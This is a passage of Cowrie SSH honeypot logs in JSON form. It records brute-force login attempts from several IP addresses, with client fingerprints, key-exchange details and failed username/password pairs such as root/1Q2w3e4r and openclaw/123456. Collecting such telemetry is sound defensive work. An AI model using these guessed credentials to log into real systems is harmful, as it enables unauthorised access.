ha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:06.989792Z","src_ip":"193.151.144.93","session":"6c9e636c2949","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"zabbix","message":"login attempt [zabbix/zabbix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:07.496072Z","src_ip":"193.151.144.93","session":"6c9e636c2949","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:07.995494Z","src_ip":"103.153.68.219","session":"e9d1db5dd32a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:11.998950Z","src_ip":"193.151.144.93","session":"6c9e636c2949","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":51316,"dst_ip":"10.17.0.5","dst_port":22,"session":"15542d2eb0a6","protocol":"ssh","message":"New connection: 193.151.144.93:51316 (10.17.0.5:22) [session: 15542d2eb0a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:12.174462Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:12.178373Z","src_ip":"193.151.144.93","session":"15542d2eb0a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:12.348598Z","src_ip":"193.151.144.93","session":"15542d2eb0a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"clawdbot","password":"clawdbot","message":"login attempt [clawdbot/clawdbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:13.376988Z","src_ip":"193.151.144.93","session":"15542d2eb0a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:14.548960Z","src_ip":"193.151.144.93","session":"15542d2eb0a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":51322,"dst_ip":"10.17.0.5","dst_port":22,"session":"8060e009e546","protocol":"ssh","message":"New connection: 193.151.144.93:51322 (10.17.0.5:22) [session: 8060e009e546]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:17.578219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:17.612908Z","src_ip":"193.151.144.93","session":"8060e009e546","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:17.752495Z","src_ip":"193.151.144.93","session":"8060e009e546","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123456","message":"login attempt [debian/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:18.460246Z","src_ip":"193.151.144.93","session":"8060e009e546","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:19.639846Z","src_ip":"193.151.144.93","session":"8060e009e546","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":60104,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e5ae73e384a","protocol":"ssh","message":"New connection: 193.151.144.93:60104 (10.17.0.5:22) [session: 4e5ae73e384a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:23.341226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:23.345674Z","src_ip":"193.151.144.93","session":"4e5ae73e384a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:23.515317Z","src_ip":"193.151.144.93","session":"4e5ae73e384a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"123456","message":"login attempt [es/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:24.022559Z","src_ip":"193.151.144.93","session":"4e5ae73e384a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":41124,"dst_ip":"159.203.135.109","dst_port":22,"session":"2544b38a5895","protocol":"ssh","message":"New connection: 147.45.199.80:41124 (159.203.135.109:22) [session: 2544b38a5895]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:24.723530Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:24.728911Z","src_ip":"147.45.199.80","session":"2544b38a5895","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:24.831291Z","src_ip":"147.45.199.80","session":"2544b38a5895","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123321qwer","message":"login attempt [root/123321qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:25.131750Z","src_ip":"147.45.199.80","session":"2544b38a5895","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:25.194118Z","src_ip":"193.151.144.93","session":"4e5ae73e384a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:26.233990Z","src_ip":"147.45.199.80","session":"2544b38a5895","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":60120,"dst_ip":"10.17.0.5","dst_port":22,"session":"a252da1f8064","protocol":"ssh","message":"New connection: 193.151.144.93:60120 (10.17.0.5:22) [session: a252da1f8064]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:28.953525Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:28.958038Z","src_ip":"193.151.144.93","session":"a252da1f8064","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:29.130663Z","src_ip":"193.151.144.93","session":"a252da1f8064","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"123456","message":"login attempt [openclaw/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:29.648227Z","src_ip":"193.151.144.93","session":"a252da1f8064","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:30.823097Z","src_ip":"193.151.144.93","session":"a252da1f8064","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":55300,"dst_ip":"10.17.0.5","dst_port":22,"session":"33fa1bfd5102","protocol":"ssh","message":"New connection: 62.133.62.83:55300 (10.17.0.5:22) [session: 33fa1bfd5102]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:31.270404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:31.275212Z","src_ip":"62.133.62.83","session":"33fa1bfd5102","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:31.358257Z","src_ip":"62.133.62.83","session":"33fa1bfd5102","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nfnmzyf1","message":"login attempt [root/nfnmzyf1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:31.602020Z","src_ip":"62.133.62.83","session":"33fa1bfd5102","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:32.684886Z","src_ip":"62.133.62.83","session":"33fa1bfd5102","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":47970,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d3c0c6492f4","protocol":"ssh","message":"New connection: 193.151.144.93:47970 (10.17.0.5:22) [session: 8d3c0c6492f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:34.316491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:34.322721Z","src_ip":"193.151.144.93","session":"8d3c0c6492f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:34.490922Z","src_ip":"193.151.144.93","session":"8d3c0c6492f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2w3e4r","message":"login attempt [root/1Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:34.994567Z","src_ip":"193.151.144.93","session":"8d3c0c6492f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:36.167531Z","src_ip":"193.151.144.93","session":"8d3c0c6492f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":40948,"dst_ip":"10.17.0.5","dst_port":22,"session":"6be8d327ece0","protocol":"ssh","message":"New connection: 185.236.22.41:40948 (10.17.0.5:22) [session: 6be8d327ece0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:37.454919Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:37.459518Z","src_ip":"185.236.22.41","session":"6be8d327ece0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:37.571025Z","src_ip":"185.236.22.41","session":"6be8d327ece0","protocol":"ssh"}
